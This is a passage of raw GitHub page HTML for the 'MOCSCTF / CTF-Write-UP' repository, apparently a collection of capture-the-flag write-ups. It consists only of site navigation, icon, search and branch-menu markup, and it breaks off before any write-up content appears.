fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="295290832" data-scoped-search-url="/MOCSCTF/CTF-Write-UP/search" data-owner-scoped-search-url="/users/MOCSCTF/search" data-unscoped-search-url="/search" action="/MOCSCTF/CTF-Write-UP/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="uV+Yl7nK3PY4lgloASS3Qe5dwtxj0Q5iIoFJe9iRxep5uPMlhMQvDxkvecnX1EIqqtwDGdjPhJqjIM3Hq9VH9w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> MOCSCTF </span> <span>/</span> CTF-Write-UP <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 25 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 5 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/MOCSCTF/CTF-Write-UP/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 